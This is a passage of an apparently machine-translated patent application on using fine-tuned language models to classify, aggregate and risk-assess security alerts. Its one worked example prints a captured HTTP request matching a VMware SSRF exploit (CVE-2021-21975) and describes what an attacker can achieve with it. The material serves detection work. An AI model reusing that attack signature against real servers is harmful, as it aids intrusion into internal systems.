Alarm data processing method and device, equipment and medium

Abstract

The invention discloses an alarm data processing method and device, equipment and a medium, and belongs to the technical field of network security. The method comprises the following steps: acquiring multiple pieces of alarm data to be processed and attribute information of each piece of alarm data to be processed; performing classification processing on the plurality of pieces of alarm data to be processed to obtain an alarm category of each piece of alarm data to be processed and a first candidate set comprising a plurality of pieces of first alarm data to be processed with correct alarms; based on the attribute information of the plurality of pieces of first to-be-processed alarm data, performing aggregation processing on the plurality of pieces of first to-be-processed alarm data to obtain a second candidate set comprising a plurality of pieces of second to-be-processed alarm data; performing risk assessment on each piece of second to-be-processed alarm data to obtain an assessment result and a processing strategy of each piece of second to-be-processed alarm data; and on the basis of the evaluation result and the processing strategy of each piece of second to-be-processed alarm data, the multiple pieces of second to-be-processed alarm data are processed, so that the noise reduction accuracy and generalization ability of the heterogeneous alarm data are improved.

Description

Technical Field

[0001] The present application relates to the field of network security technology, and in particular to a method, device, equipment and medium for processing alarm data. Background Art

[0002] With the rapid development of Internet technology, in actual network systems, enterprises often purchase various types of security protection equipment in order to better detect network attacks. However, the alarm information from different security protection equipment or systems may have different formats, contents, and priorities, which brings challenges to security analysis and processing.

[0003] Intelligent identification and noise reduction of massive security data is an indispensable part of modern security operations and security management.

[0004] Therefore, how to effectively integrate heterogeneous alarm data, eliminate the noise of heterogeneous alarm data, improve the accuracy and generalization ability of alarm noise reduction, and respond to complex and changing security threats is an important challenge in security operations. Summary of the invention

[0005] The embodiments of the present application provide a method, apparatus, device and medium for processing alarm data, which are used to effectively integrate heterogeneous alarm data, eliminate noise in heterogeneous alarm data, and improve the accuracy and generalization ability of alarm noise reduction.

[0006] In a first aspect, an embodiment of the present application provides a method for processing alarm data, the method comprising:

[0007] Acquire multiple pieces of to-be-processed alarm data and attribute information of each piece of to-be-processed alarm data in the multiple pieces of to-be-processed alarm data;

[0008] Classify the multiple pieces of to-be-processed alarm data to obtain an alarm category of each piece of to-be-processed alarm data and a first candidate set; the first candidate set includes multiple pieces of first to-be-processed alarm data whose alarm categories are correct alarms;

[0009] Based on the attribute information of the plurality of first alarm data to be processed, the plurality of first alarm data to be processed are aggregated to obtain a second candidate set; the second candidate set includes the plurality of second alarm data to be processed;

[0010] Performing risk assessment on each of the plurality of second alarm data to be processed to obtain an assessment result and a processing strategy for each of the second alarm data to be processed;

[0011] Based on the evaluation result and processing strategy of each piece of second alarm data to be processed, the plurality of second alarm data to be processed are processed respectively.

[0012] In this embodiment, a plurality of unprocessed alarm data are first classified and processed to obtain a plurality of first unprocessed alarm data with the alarm category being correct alarms. Next, the plurality of first unprocessed alarm data are aggregated and, after secondary screening, valid alarm data are retained and the alarm data to be processed is reduced. Then, the alarm data are evaluated and the evaluation results and corresponding processing strategies are given, which effectively integrates heterogeneous alarm data, eliminates the noise of heterogeneous alarm data, and improves the accuracy and generalization ability of alarm noise reduction.

[0013] In some embodiments, the classifying the plurality of pieces of to-be-processed alarm data to obtain the alarm category of each piece of to-be-processed alarm data includes:

[0014] Inputting the plurality of pieces of to-be-processed alarm data into a pre-trained first large model to obtain an alarm category of each piece of to-be-processed alarm data;

[0015] The first large model is obtained by training a large language model through the first alarm data sample set and the alarm category annotated for each first alarm data sample in the first alarm data sample set.

[0016] In this embodiment, the semantic understanding and generalization capabilities of the first large model are used to classify multiple alarm data to be processed. The first large model can cope with various heterogeneous input data, capture key information in different formats and with different semantics, ensure the correctness of the classification of multiple alarm data to be processed, retain valid alarm data, and reduce the alarm data that needs to be processed.

[0017] In some embodiments, before inputting the plurality of alarm data to be processed into the pre-trained first large model to obtain the alarm category of each alarm data to be processed, the classification processing of the plurality of alarm data to be processed further includes:

[0018] Comparing the plurality of to-be-processed alarm data with the alarm data stored in the security knowledge database, and determining the alarm category of the to-be-processed alarm data that is the same as the alarm data stored in the security knowledge database; and / or,

[0019] Based on the configured classification rules, some of the plurality of pieces of alarm data to be processed are classified and processed to determine the alarm categories corresponding to each of the parts of the alarm data to be processed.

[0020] In this embodiment, the alarm data stored in the security knowledge database and the configured classification rules are used to classify part of the multiple alarm data to be processed, assisting the first large model in classifying the multiple alarm data to be processed, and the classification results of the multiple alarm data to be processed by the first large model can be verified, further ensuring the correctness and credibility of the classification of the multiple alarm data to be processed.

[0021] In some embodiments, performing risk assessment on each of the plurality of second alarm data to be processed to obtain an assessment result and a processing strategy for each second alarm data to be processed includes:

[0022] Inputting the plurality of second alarm data to be processed into a pre-trained second largest model to obtain an evaluation result and a processing strategy for each second alarm data to be processed;

[0023] The second large model is obtained by training the large language model through the second alarm data sample set, and the evaluation results and processing strategies annotated for each second alarm data sample in the second alarm data sample set.

[0024] In this embodiment, the semantic understanding and generalization capabilities of the second largest model are used to analyze and judge multiple second alarm data to be processed, and correct evaluation results and processing strategies are given, which improves the accuracy and generalization ability of alarm noise reduction, as well as the efficiency and accuracy of security operations.

[0025] In some embodiments, the aggregating the plurality of first alarm data to be processed based on the attribute information of the plurality of first alarm data to be processed to obtain the second candidate set includes:

[0026] Based on the attribute information of the plurality of pieces of first alarm data to be processed, determining at least one piece of first alarm data to be processed having the same alarm fingerprint;

[0027] The at least one first alarm data to be processed is aggregated to obtain second alarm data to be processed corresponding to the at least one first alarm data to be processed, and a second candidate set is generated.

[0028] In this embodiment, at least one first piece of alarm data to be processed with the same alarm fingerprint is aggregated to obtain second alarm data to be processed corresponding to the at least one first piece of alarm data to be processed, and a second candidate set is generated. Only one piece of first alarm data to be processed among the at least one first piece of alarm data to be processed with the same alarm fingerprint is processed, thereby reducing heterogeneous alarm data, effectively integrating heterogeneous alarm data, eliminating noise in heterogeneous alarm data, and improving the accuracy and generalization ability of alarm noise reduction.

[0029] In some embodiments, the determining, based on the attribute information of the plurality of first alarm data to be processed, at least one first alarm data to be processed having the same alarm fingerprint includes:

[0030] Based on the attribute information of the plurality of first alarm data to be processed, feature extraction is performed on the plurality of first alarm data to be processed to obtain feature vectors of the plurality of first alarm data to be processed;

[0031] For every two pieces of first pending alarm data:

[0032] Determining the similarity between the two pieces of first alarm data to be processed based on the feature vectors of the two pieces of first alarm data to be processed;

[0033] If the similarity between the two first alarm data to be processed is greater than the similarity threshold, it is determined that the alarm fingerprints of the two first alarm data to be processed are the same.

[0034] In this embodiment, features are extracted from the first alarm data to be processed, and similarity is calculated for every two first alarm data to be processed. Finally, based on the similarity threshold, two first alarm data to be processed whose similarity is greater than the similarity threshold are determined to be alarm data to be processed with the same alarm fingerprint, thereby providing an accurate basis for the aggregate processing of multiple first alarm data to be processed.

[0035] In some embodiments, the attribute information includes the timestamp, attack type, source IP, destination IP and port number of the alarm data to be processed.

[0036] In a second aspect, an embodiment of the present application provides a device for processing alarm data, the device comprising:

[0037] An acquisition module, used to acquire multiple pieces of to-be-processed alarm data and attribute information of each piece of to-be-processed alarm data;

[0038] A classification module, used for classifying the plurality of alarm data to be processed, obtaining an alarm category of each alarm data to be processed, and a first candidate set; the first candidate set includes a plurality of first alarm data to be processed whose alarm categories are correct alarms;

[0039] an aggregation module, configured to aggregate the plurality of first alarm data to be processed based on the attribute information of the plurality of first alarm data to be processed to obtain a second candidate set; the second candidate set includes the plurality of second alarm data to be processed;

[0040] An analysis and judgment module, used for performing risk assessment on each of the plurality of second alarm data to be processed, and obtaining an assessment result and a processing strategy for each second alarm data to be processed;

[0041] The processing module is used to process the plurality of second alarm data to be processed respectively based on the evaluation result and processing strategy of each second alarm data to be processed.

[0042] In some embodiments, the classification module is specifically used to:

[0043] Inputting the plurality of pieces of to-be-processed alarm data into a pre-trained first large model to obtain an alarm category of each piece of to-be-processed alarm data;

[0044] The first large model is obtained by training a large language model through the first alarm data sample set and the alarm category annotated for each first alarm data sample in the first alarm data sample set.

[0045] In some embodiments, the classification module is further configured to:

[0046] Comparing the plurality of to-be-processed alarm data with the alarm data stored in the security knowledge database, and determining the alarm category of the to-be-processed alarm data that is the same as the alarm data stored in the security knowledge database; and / or,

[0047] Based on the configured classification rules, some of the plurality of pieces of alarm data to be processed are classified and processed to determine the alarm categories corresponding to each of the parts of the alarm data to be processed.

[0048] In some embodiments, the analysis and judgment module is specifically used to:

[0049] Inputting the plurality of second alarm data to be processed into a pre-trained second largest model to obtain an evaluation result and a processing strategy for each second alarm data to be processed;

[0050] The second large model is obtained by training the large language model through the second alarm data sample set, and the evaluation results and processing strategies annotated for each second alarm data sample in the second alarm data sample set.

[0051] In some embodiments, the aggregation module is specifically used to:

[0052] Based on the attribute information of the plurality of pieces of first alarm data to be processed, determining at least one piece of first alarm data to be processed having the same alarm fingerprint;

[0053] The at least one first alarm data to be processed is aggregated to obtain second alarm data to be processed corresponding to the at least one first alarm data to be processed, and a second candidate set is generated.

[0054] In some embodiments, the aggregation module is specifically used to:

[0055] Based on the attribute information of the plurality of first alarm data to be processed, feature extraction is performed on the plurality of first alarm data to be processed to obtain feature vectors of the plurality of first alarm data to be processed;

[0056] For every two pieces of first pending alarm data:

[0057] Determining the similarity between the two pieces of first alarm data to be processed based on the feature vectors of the two pieces of first alarm data to be processed;

[0058] If the similarity between the two first alarm data to be processed is greater than the similarity threshold, it is determined that the alarm fingerprints of the two first alarm data to be processed are the same.

[0059] In a third aspect, an embodiment of the present application provides an electronic device, comprising: at least one processor, and a memory communicatively connected to the at least one processor, wherein:

[0060] The memory stores a computer program that can be executed by at least one processor, and the computer program is executed by the at least one processor so that the at least one processor can execute the method for processing alarm data described in the first aspect above.

[0061] In a fourth aspect, an embodiment of the present application provides a computer storage medium. When a computer program in the computer storage medium is executed by a processor of an electronic device, the electronic device can execute a method for processing alarm data described in the first aspect above.

[0062] Other features and advantages of the present application will be described in the subsequent description, and partly become apparent from the description, or be understood by practicing the present application. The purpose and other advantages of the present application can be realized and obtained by the structures specifically pointed out in the written description, claims, and drawings. BRIEF DESCRIPTION OF THE DRAWINGS

[0063] The drawings described herein are used to provide a further understanding of the present application and constitute a part of the present application. The illustrative embodiments of the present application and their descriptions are used to explain the present application and do not constitute an improper limitation on the present application. In the drawings:

[0064] Figure 1 A schematic diagram of an application scenario of a method for processing alarm data provided in an embodiment of the present application;

[0065] Figure 2 A flowchart of a method for processing alarm data provided in an embodiment of the present application;

[0066] Figure 3A schematic diagram of classifying a piece of alarm data to be processed provided in an embodiment of the present application;

[0067] Figure 4 A schematic diagram of a process for determining a first candidate set provided in an embodiment of the present application;

[0068] Figure 5 A schematic diagram of a process for determining a second candidate set provided in an embodiment of the present application;

[0069] Figure 6 A schematic diagram of a process for determining alarm data with the same alarm fingerprint provided in an embodiment of the present application;

[0070] Figure 7 A schematic diagram of obtaining an evaluation result and a processing strategy for a second alarm data to be processed provided in an embodiment of the present application;

[0071] Figure 8 A schematic diagram of the structure of an alarm data processing device provided in an embodiment of the present application;

[0072] Fig. 9 A schematic diagram of the hardware structure of an electronic device provided in an embodiment of the present application. DETAILED DESCRIPTION

[0073] In order to make the purpose, technical scheme and advantages of the embodiments of the present application clearer, the technical scheme in the embodiments of the present application will be clearly and completely described below in conjunction with the drawings in the embodiments of the present application. Among them, the described embodiments are part of the embodiments of the present application, rather than all the embodiments. Based on the embodiments in the present application, all other embodiments obtained by ordinary technicians in this field without making creative work are within the scope of protection of this application.

[0074] Furthermore, in the description of the embodiments of the present application, unless otherwise specified, “ / ” means or. For example, A / B can mean A or B. The “and / or” in the text is merely a description of the association relationship of associated objects, indicating that three relationships may exist. For example, A and / or B can mean: A exists alone, A and B exist at the same time, and B exists alone. In addition, in the description of the embodiments of the present application, “multiple” refers to two or more than two.

[0075] In the following, the terms "first" and "second" are used for descriptive purposes only and should not be understood as suggesting or implying relative importance or implicitly indicating the number of technical features indicated. Thus, features defined as "first" and "second" may explicitly or implicitly include one or more of the features. In the description of the embodiments of the present application, unless otherwise specified, "multiple" means two or more.

[0076] In order to facilitate understanding of a method for processing alarm data provided in an embodiment of the present application, some terms appearing in the present application are explained below.

[0077] Large Model: refers to a large-scale deep learning model with billions or even tens of billions of parameters. These huge models are able to learn and capture a wide range of knowledge and patterns by pre-training on massive amounts of data. In the field of NLP, large models such as GPT-3, PaLM, Claude, etc., have demonstrated excellent language understanding, generation, and reasoning capabilities through pre-training on a large amount of natural language corpus. In the field of CV, large models such as DALL-E and Stable Diffusion have achieved amazing image generation and editing capabilities by learning from massive amounts of image data. In general, large models represent the forefront of the development of artificial intelligence and will demonstrate their powerful capabilities in more and more fields, but they also need to be continuously improved and optimized.

[0078] Alert Denoising: It is to filter out irrelevant or low-priority alarm data from a large number of security alarm events, and retain the truly important and high-risk alarms that need attention. Through effective alarm denoising, security operations personnel can reduce the amount of alarms that need to be processed, focus on truly important security events, improve work efficiency, reduce event response time, and thus enhance overall security protection capabilities. High-quality alarm denoising requires the comprehensive use of multiple technical means such as big data analysis, machine learning, and rule engines to intelligently process and identify massive security data, which is an indispensable part of modern security operations and security management.

[0079] Heterogeneous Alerts: These are alerts from different security products or systems. These alerts may have different formats, contents, and priorities, which poses a challenge to security analysis and processing.

[0080] With the rapid development of Internet technology, in actual network systems, enterprises often purchase various types of security protection equipment in order to better detect network attacks. However, the alarm information from different security protection equipment or systems may have different formats, contents, and priorities, which brings challenges to security analysis and processing.

[0081] Intelligent identification and noise reduction of massive security data is an indispensable part of modern security operations and security management. Traditional methods are mainly based on rules and small machine learning models. Specifically:

[0082] The rule-based approach is that the security team develops a series of rules based on past experience, and then filters and classifies alerts. For example, based on features such as source IP / destination IP, port number, protocol type, etc., certain known scanning behaviors or normal operation and maintenance activities are filtered out. This method is simple and direct, but it requires manual maintenance of the rule set and is difficult to cover all scenarios.

[0083] The method based on small machine learning models is to use historical alarm data to train decision trees, logistic regression and other machine learning models to perform binary classification (noise / non-noise) on new alarm data. This is smarter than the rule-based method, but the small machine learning model has limited expressive power and is insufficient for modeling complex security scenarios.

[0084] Therefore, how to effectively integrate heterogeneous alarm data, eliminate the noise of heterogeneous alarm data, improve the accuracy and generalization ability of alarm noise reduction, and respond to complex and changing security threats is an important challenge in security operations.

[0085] In view of this, the embodiments of the present application provide a method, apparatus, device and medium for processing alarm data, so as to effectively integrate heterogeneous alarm data, eliminate the noise of heterogeneous alarm data, and improve the accuracy and generalization ability of alarm noise reduction.

[0086] The inventive concept of the embodiment of the present application: In the embodiment of the present application, multiple pieces of to-be-processed alarm data and the attribute information of each piece of to-be-processed alarm data are obtained; the multiple pieces of to-be-processed alarm data are classified and processed to obtain the alarm category of each piece of to-be-processed alarm data and a first candidate set including multiple first pieces of to-be-processed alarm data with correct alarms; based on the attribute information of multiple first pieces of to-be-processed alarm data, multiple pieces of first to-be-processed alarm data are aggregated and processed to obtain a second candidate set including multiple second pieces of to-be-processed alarm data; each piece of second to-be-processed alarm data is risk assessed to obtain the assessment result and processing strategy of each piece of second to-be-processed alarm data; based on the assessment result and processing strategy of each piece of second to-be-processed alarm data, multiple pieces of second to-be-processed alarm data are processed respectively. After two screenings, the valid alarm data are retained, and the alarm data to be processed is reduced. Then, the alarm data is evaluated, and the evaluation result and the corresponding processing strategy are given, which effectively integrates the heterogeneous alarm data, eliminates the noise of the heterogeneous alarm data, and improves the accuracy and generalization ability of the alarm noise reduction.

[0087] After introducing the main inventive concept of the embodiment of the present application, the following describes an application scenario of a method for processing alarm data provided by the embodiment of the present application in conjunction with the accompanying drawings. Figure 1 The figure is a schematic diagram of an application scenario of a method for processing alarm data provided in an embodiment of the present application. Figure 1 The system includes a server 100 and an electronic device 200; wherein:

[0088] After receiving the plurality of alarm data to be processed and the attribute information of each of the plurality of alarm data to be processed, the electronic device 200 obtains the pre-trained first large model from the server 100, and uses the pre-trained first large model to classify the plurality of alarm data to be processed, to obtain the alarm category of each of the alarm data to be processed, and a first candidate set of the plurality of first alarm data to be processed whose alarm categories are correct alarms;

[0089] Then, the electronic device 200 aggregates the plurality of first alarm data to be processed based on the attribute information of the plurality of first alarm data to be processed to obtain a second candidate set including the plurality of second alarm data to be processed, obtains the pre-trained second largest model from the server 100, and uses the pre-trained second largest model to perform risk assessment on each of the plurality of second alarm data to be processed to obtain an assessment result and a processing strategy for each second alarm data to be processed;

[0090] Finally, the electronic device 200 processes the plurality of second alarm data to be processed respectively based on the evaluation result and processing strategy of each piece of second alarm data to be processed.

[0091] Among them, the server 100 and the electronic device 200 can communicate with each other, and the communication method can be to use wired communication technology, such as communicating by connecting a network cable or a serial port cable; or to use wireless communication technology, for example, communicating through Bluetooth or WIFI and other technologies, without specific limitation.

[0092] To further illustrate the technical solution provided by the embodiment of the present application, this is described in detail below in conjunction with the accompanying drawings and specific implementation methods. Although the embodiment of the present application provides the method operation steps shown in the following embodiments or drawings, more or fewer operation steps may be included in the method based on routine or no creative labor. In the steps where there is no necessary causal relationship logically, the execution order of these steps is not limited to the execution order provided in the embodiment of the present application.

[0093] See also Figure 2 , is a flow chart of a method for processing alarm data provided by an embodiment of the present application. The method includes: Figure 2 Steps shown:

[0094] In step 201, a plurality of pieces of alarm data to be processed and attribute information of each piece of alarm data to be processed are obtained.

[0095] The attribute information of the alarm data to be processed includes information such as the timestamp, attack type, source IP, destination IP and port number of the alarm data to be processed.

[0096] It should be emphasized that the multiple alarm data to be processed in this application are heterogeneous alarm data from various security devices, including alarm data generated by different security systems such as firewalls, intrusion detection systems, terminal security systems, etc. These alarm data may have different formats, contents, and priorities.

[0097] In step 202, a plurality of pieces of to-be-processed alarm data are classified to obtain an alarm category of each piece of to-be-processed alarm data and a first candidate set.

[0098] In the embodiment of the present application, the alarm categories are alarm correct and alarm error. The first candidate set includes a plurality of first to-be-processed alarm data whose alarm category is alarm correct.

[0099] Therefore, in this application, the pending alarm data with the alarm category of correct alarm is retained, and the pending alarm data with the alarm category of wrong alarm is removed, thereby reducing the amount of alarms that security operators need to handle.

[0100] In step 203, based on the attribute information of the plurality of first alarm data to be processed, the plurality of first alarm data to be processed are aggregated to obtain a second candidate set.

[0101] In the embodiment of the present application, the second candidate set includes multiple second alarm data to be processed. The second alarm data to be processed is the remaining alarm data to be processed after the multiple first alarm data to be processed in the first candidate set are aggregated, further reducing the amount of alarms that security operators need to process.

[0102] In step 204, risk assessment is performed on each of the plurality of second alarm data to be processed to obtain an assessment result and a processing strategy for each of the second alarm data to be processed.

[0103] In step 205, based on the evaluation result and processing strategy of each piece of second alarm data to be processed, multiple pieces of second alarm data to be processed are processed respectively.

[0104] In some embodiments, the multiple pieces of pending alarm data obtained in the present application may have different formats, contents, and priorities. Therefore, in order to avoid cumbersome format unification operations, the present application directly uses the semantic understanding ability of the large model to automatically classify the multiple pieces of pending alarm data.

[0105] Specifically, in step 202, multiple pieces of to-be-processed alarm data are classified and processed to obtain the alarm category of each piece of to-be-processed alarm data, which is implemented as follows:

[0106] A plurality of to-be-processed alarm data are input into a pre-trained first large model to obtain an alarm category of each to-be-processed alarm data.

[0107] The first large model is obtained by training the large language model through the first alarm data sample set and the alarm category annotated for each first alarm data sample in the first alarm data sample set.

[0108] In specific implementation, the first large model can be an AI model, and a multi-level AI model fusion method can be adopted.

[0109] First, we use a large-scale pre-trained general AI big model as the basis to extract features and classify and label different types of security alarm logs. By training the general AI big model with massive general data, we accumulate rich semantic understanding and knowledge reasoning capabilities, so that the AI ​​big model can better cope with various forms of alarm data.

[0110] However, a single large model will inevitably have some limitations and cannot fully cover all alarm types and scenarios. Therefore, on the basis of the general AI large model, more targeted small AI models can be introduced to optimize the performance of the model in certain special security fields. These small AI models can be classification models based on deep learning or expert systems based on rules, making full use of the experience and knowledge of experts in the security field.

[0111] Therefore, the first large model can be a large AI model, a small AI model, or a combination of the large AI model and the small AI model.

[0112] Regardless of whether it is a large AI model or a small AI model, during training, it is necessary to obtain the first alarm data sample set and the labeled data of the first alarm data sample set, and fine-tune the large language model based on the first alarm data sample set and the labeled data of the first alarm data sample set, so as to enhance the model's generalization ability for data, enable it to adapt to security alarm data from different sources and types, and quickly adapt to new security threats and events.

[0113] The labeled data of the first alarm data sample set are the manually labeled alarm categories of each first alarm data sample in the first alarm data sample set.

[0114] Furthermore, when fine-tuning the first large model based on the first alarm data sample set and the annotated data of the first alarm data sample set, firstly, the quality and diversity of the first alarm data sample set are improved through data enhancement and multimodal fusion; then, the flexibility and adaptability of the first large model are enhanced by using model combination and dynamic prompts; and then, advanced technologies such as meta-learning and adversarial training are used to improve the generalization ability and robustness of the first large model.

[0115] At the same time, continuous learning and online update mechanisms can be introduced to enable the No. 1 model to continuously adapt to new security threats; through adaptive security constraints and advanced explainability techniques, the security and credibility of the No. 1 model can be enhanced.

[0116] The fine-tuned first model, that is, the pre-trained first model, is used to classify multiple pieces of unprocessed alarm data to obtain an alarm category of each piece of unprocessed alarm data, thereby ensuring the correctness of the classification of the multiple pieces of unprocessed alarm data.

[0117] For example, Figure 3 As shown in FIG. 1 , it is a schematic diagram for classifying a piece of alarm data to be processed. The input of the first model is:

[0118] {\"srcPort\":39810,\"destPort\":8001,\"appProtocol\":\"http\",\"requestHeader\":\"POST / casa / nodes / thumbprintsHTTP / 1.1 Host:118.122.233.42:8001 Use r-Agent:Mozilla / 5.0(WindowsNT10.0;Win64;x64);AppleWebKit / 537.36(KHTML,likeGecko)Chrome / 104.0.0.0Safari / 537.36 Content-Length:22 Accept:text / html,application / xhtml+xml,application / xml;q=0.9,image / avif,image / webp,image / apng,* / *;q=0.8,application / signed-exchange;v=b3;q=0.9 Accept-Language:zh-CN,zh; q=0.9 Connection:close Content-Type:application / json Accept-Encoding:gzip \"}Please determine which alarm category exists based on the above data and provide the basis.

[0119] The output of the first model is: label: VMware vRealize Operations Manager SSRF vulnerability (CVE-2021-21975) proof: The request target port is 8001, the request method is POST, the requested URL path is / casa / nodes / thumbprints, and the request header contains Content-Type as application / json, which corresponds to the VMware vRealize Operations Manager SSRF vulnerability (CVE-2021-21975). An attacker can exploit this vulnerability to implement a server-side request forgery (SSRF) attack by constructing malicious requests, which may cause the server to send requests to any URL, leak internal information, or attack internal systems. Therefore, there is a serious security risk.

[0120] Therefore, the first large model outputs the alarm category and basis of the alarm data to be processed.

[0121] In this embodiment, the semantic understanding and generalization capabilities of the first large model are used to classify multiple alarm data to be processed. The first large model can cope with various heterogeneous input data, capture key information in different formats and with different semantics, ensure the correctness of the classification of multiple alarm data to be processed, retain valid alarm data, and reduce the alarm data that needs to be processed.

[0122] In some embodiments, in order to further improve the accuracy and credibility of the annotation, in the embodiment of the present application, multiple pieces of to-be-processed alarm data are input into the pre-trained first large model, and before the alarm category of each piece of to-be-processed alarm data is obtained, the multiple pieces of to-be-processed alarm data are classified and processed, which can also be performed as follows:

[0123] Comparing the plurality of to-be-processed alarm data with the alarm data stored in the security knowledge database, and determining the alarm category of the to-be-processed alarm data that is the same as the alarm data stored in the security knowledge database; and / or,

[0124] Based on the configured classification rules, some of the multiple pieces of alarm data to be processed are classified and processed to determine the alarm categories corresponding to each of the parts of the alarm data to be processed.

[0125] The security knowledge database includes but is not limited to the historical alarm sample library, known threat intelligence library, and security vulnerability library.

[0126] Specifically, the alarm data to be processed can be classified and processed according to the following implementation methods:

[0127] Implementation method 1: Input multiple pieces of to-be-processed alarm data into a pre-trained first large model to obtain the alarm category of each piece of to-be-processed alarm data.

[0128] The details are as described above and will not be repeated here.

[0129] Implementation method two: compare multiple alarm data to be processed with the alarm data in the stored security knowledge database to determine the alarm category of the alarm data to be processed that is the same as the alarm data in the stored security knowledge database; input other alarm data to be processed into the pre-trained first large model to obtain the alarm category of each alarm data to be processed, or input all multiple alarm data to be processed into the pre-trained first large model to obtain the alarm category of each alarm data to be processed.

[0130] Specifically, a plurality of unprocessed alarm data are first compared with the alarm data stored in the security knowledge database. If the highly reliable security knowledge database stores the same alarm data as the plurality of unprocessed alarm data, the alarm category of the unprocessed alarm data that is the same as the alarm data in the security knowledge database can be directly determined; then the other unprocessed alarm data are input into the first large model for classification, or all the plurality of unprocessed alarm data are input into the pre-trained first large model for classification.

[0131] Implementation method three: Based on the configured classification rules, classify some of the multiple alarm data to be processed to determine the alarm categories corresponding to each of the alarm data to be processed; input other alarm data to be processed into the pre-trained first large model to obtain the alarm category of each alarm data to be processed, or input all multiple alarm data to be processed into the pre-trained first large model to obtain the alarm category of each alarm data to be processed.

[0132] Specifically, because the classification rules of certain scenarios or security systems are configured, multiple pieces of pending alarm data can be classified based on the configured classification rules. If there are pending alarm data among the multiple pieces of pending alarm data that can be classified using the configured classification rules, the alarm category of this part of the pending alarm data is determined directly based on the configured classification rules, and then the other pending alarm data are input into the first large model for classification, or all the multiple pieces of pending alarm data are input into the first large model for classification.

[0133] Implementation method four: compare multiple pending alarm data with the alarm data stored in the security knowledge database to determine the alarm category of the pending alarm data that is the same as the alarm data in the stored security knowledge database; classify part of the other pending alarm data based on the configured classification rules to determine the alarm category corresponding to each part of the pending alarm data; input the remaining part of the other pending alarm data into the pre-trained first large model to obtain the alarm category of each pending alarm data, or input all multiple pending alarm data into the pre-trained first large model to obtain the alarm category of each pending alarm data.

[0134] In implementation modes two, three, and four, if other alarm data to be processed are input into the pre-trained first large model to obtain the alarm category of each alarm data to be processed, the alarm data to be processed are classified using the security knowledge database and the configured classification rules, which can assist the first large model in classifying multiple alarm data to be processed and reduce the alarm data processed by the first large model.

[0135] If multiple pieces of pending alarm data are all input into the pre-trained first largest model to obtain the alarm category of each piece of pending alarm data, the classification result of classifying the pending alarm data using the security knowledge database and the configured classification rules can be used to verify the classification result of classifying the multiple pieces of pending alarm data using the first largest model, thereby further ensuring the correctness and credibility of the classification of the multiple pieces of pending alarm data.

[0136] In practical applications, if the large model cannot classify the alarm data to be processed, manual classification can be used based on the experts' rich security field knowledge and experience to determine the alarm category of the alarm data to be processed.

[0137] An implementation method for determining the first candidate set is given below: Figure 4 As shown:

[0138] In step 401, a plurality of to-be-processed alarm data are compared with the alarm data stored in the security knowledge database, and the alarm category of the to-be-processed alarm data that is the same as the alarm data stored in the security knowledge database is determined;

[0139] In step 402, based on the configured classification rules, some of the multiple pieces of alarm data to be processed are classified and processed to determine the alarm categories corresponding to the parts of the alarm data to be processed;

[0140] In step 403, a plurality of alarm data to be processed are input into a pre-trained first large model to obtain an alarm category of each alarm data to be processed;

[0141] In step 404, it is determined whether there is unclassified unprocessed alarm data. If so, in step 405, in response to the user's manual classification operation, the alarm category of the unprocessed alarm data is determined, and then step 406 is executed to determine the first candidate set. If not, step 406 is directly executed.

[0142] The first candidate set includes a plurality of first to-be-processed alarm data whose alarm category is correct alarm.

[0143] In some embodiments, in step 203, based on the attribute information of the plurality of first alarm data to be processed, the plurality of first alarm data to be processed are aggregated to obtain the second candidate set, which can be implemented as follows: Figure 5 Steps shown:

[0144] In step 501, based on the attribute information of a plurality of pieces of first alarm data to be processed, at least one piece of first alarm data to be processed having the same alarm fingerprint is determined.

[0145] Before determining at least one piece of first alarm data to be processed having the same alarm fingerprint based on the attribute information of the plurality of first alarm data to be processed, the plurality of first alarm data to be processed may be preprocessed and grouped into time windows.

[0146] In step 502, at least one piece of first alarm data to be processed is aggregated to obtain second alarm data to be processed corresponding to the at least one piece of first alarm data to be processed, and a second candidate set is generated.

[0147] Further, in step 501, based on the attribute information of the plurality of first alarm data to be processed, determining at least one first alarm data to be processed having the same alarm fingerprint may be performed as follows: Figure 6 Steps shown:

[0148] In step 601, based on the attribute information of the plurality of first alarm data to be processed, feature extraction is performed on the plurality of first alarm data to be processed to obtain feature vectors of the plurality of first alarm data to be processed;

[0149] In step 602, for each two pieces of first alarm data to be processed:

[0150] In step 6021, based on the feature vectors of the two first alarm data to be processed, the similarity between the two first alarm data to be processed is determined;

[0151] In step 6022, if the similarity between the two first alarm data to be processed is greater than the similarity threshold, it is determined that the alarm fingerprints of the two first alarm data to be processed are the same.

[0152] In the specific implementation, key features are first extracted based on the attribute information such as timestamp, attack type, source IP, destination IP, port number, etc. of multiple first alarm data to be processed, and then the extracted key features are numerically encoded to form feature vectors; finally, algorithms such as cosine similarity are used to calculate the similarity between the feature vectors of every two first alarm data to be processed, and an ordered alarm fingerprint sequence is generated in descending order of similarity.

[0153] Finally, the two first alarm data to be processed whose similarity in the alarm fingerprint sequence is greater than the similarity threshold are taken as the two first alarm data to be processed with the same alarm fingerprint.

[0154] Furthermore, the plurality of first alarm data to be processed may be aggregated according to rules such as IP aggregation, attack type association, asset importance and attack stage association, and the like.

[0155] Among them, the IP aggregation rule aggregates multiple pending alarm data with the same source IP or target IP. The attack type association rule aggregates multiple pending alarm data with similar or related attack types. The attack stage association rule aggregates multiple pending alarm data belonging to different stages of the same attack chain.

[0156] During implementation, the first alarm data to be processed that meets the rules of IP aggregation, attack type association, asset importance and attack stage association can be determined based on the timestamp, attack type, source IP, destination IP, port number and other attribute information of multiple first alarm data to be processed, so as to perform aggregation processing.

[0157] Furthermore, on the basis of aggregating multiple first alarm data to be processed according to rules such as IP aggregation, attack type association, asset importance and attack stage association, a large model can be used to perform more complex association analysis such as contextual reasoning, causal reasoning, threat intelligence fusion, etc. on the multiple first alarm data to be processed, and then aggregate them again to finally obtain the second candidate set.

[0158] In this embodiment, at least one first alarm data to be processed with the same alarm fingerprint is aggregated, and only one first alarm data to be processed among the at least one first alarm data to be processed with the same alarm fingerprint is processed, thereby effectively integrating heterogeneous alarm data and eliminating noise of the heterogeneous alarm data.

[0159] In some embodiments, performing risk assessment on each of the plurality of second alarm data to be processed in step 204 to obtain an assessment result and a processing strategy for each second alarm data to be processed may be implemented as follows:

[0160] Inputting a plurality of second alarm data to be processed into a pre-trained second largest model to obtain an evaluation result and a processing strategy for each second alarm data to be processed;

[0161] The second largest model is obtained by training the large language model through the second alarm data sample set, and the evaluation results and processing strategies annotated for each second alarm data sample in the second alarm data sample set.

